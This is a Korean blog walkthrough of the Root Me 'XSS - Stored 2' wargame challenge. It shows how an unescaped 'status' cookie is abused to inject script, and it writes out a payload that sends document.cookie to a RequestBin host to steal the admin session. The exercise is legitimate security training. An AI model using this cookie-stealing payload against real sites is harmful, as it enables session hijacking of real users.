워게임/Root Me

[Root Me] XSS - Stored 2 - 웹해킹 / 크로스사이트스트립트

SecurityMan 2022. 10. 19. 11:00


오랜만에 포스팅하는 Root Me 문제

이번엔 두번째 XSS 문제이다.
(첫번째 문제 : https://hackingstudypad.tistory.com/48)

두번째 문제라 그런가 점수가 50점으로 확 올라갔다.

 

반응형


문제의 목표는 첫번째 문제와 동일하게

administrator 의 session cooike 를 훔치는 것이다.

XSS 는 Cross Site Script 의 약자로

웹서버에 관리자가 아닌 사람이 악성 스크립트를 삽입할 수 있는 취약점이다.

보통 공격자들은 자신의 서버를 하나 열어놓은 뒤에,

XSS 취약점을 이용하여 타겟 웹 서버에 악성 스크립트를 삽입한 뒤,

사용자들의 인증정보(쿠키값, 세션값 등)를 탈취하는데 이용한다.

 


문제 페이지에 접속하면 이런 간단한 게시판 형태가 보인다.

왼쪽에 admin 버튼이 있고, 오른쪽에는 Status 가 invite 로 되어있다.

 


admin 버튼을 눌러봤는데

버튼 위에 Tsss 라는 글자가 출력되고 아무런 일도 일어나지 않는다.

 


시험삼아 hi 라고 글을 적어봤다.

글을 쓰면 저렇게 옆에 status 가 같이 찍혀서 나온다.

XSS 문제인 만큼 당연히 <script>alert(1)</script> 같은 기본적인 페이로드로도 시도해 봤는데

필터링이 걸려있는지 입력이 되지 않았다.

 


해당 페이지에서 쿠키값을 한번 확인해봤다.

status 라는 이름의 쿠키에 invite 라는 값이 저장되어있는데,

이걸 잘 변조하면 XSS가 가능할 것 같았다.

 


게시글을 작성하면 옆에 같이 찍혀나오는 부분을

f12 개발자도구를 이용해 보면,

<i class="invite">status : invite</i> 라고 되어있는것을 확인할 수 있다.

 


status 쿠키의 값을 EditThisCookie를 이용해 test로 바꾼다면

 


해당 부분도 invite에서 test로 바뀌어서 출력되게 된다.

이제 여기를 이용해서 XSS를 하면 된다.

 


status 쿠키의 값을

abcd"><script>alert(1)</script> 로 바꿔준다.

그럼 <i class="abcd"><script>alert(1)</script>">status : invite</i> 와 같이 입력값이 들어가게 되어서

alert(1) 이 실행될 것이다.

 


입력하고 새로고침 해보면

이렇게 alert(1) 이 실행되어서 알림창이 뜨는것을 볼 수 있다.

 


RequestBin(https://requestbin.net/)으로 가서 요청을 받아줄 주소를 하나 생성한다.

 


abcd"><script>document.location.href="http://mxi6n3yu5c13kxvi.b.requestbin.net?cookie="+document.cookie</script>

생성한 주소를 활용해 위와 같이 쿠키값을 설정해주고,

아무글이나 하나 작성한뒤 조금 기다리면

 


RequestBin에 찍혀있는 ADMIN_COOKIE 를 확인할 수 있다.

 


알아낸 쿠키값을 ModHeader를 이용해 적용시켜 주고,

 


문제페이지로 돌아와 admin 버튼을 누르면

플래그를 찾을 수 있다.

반응형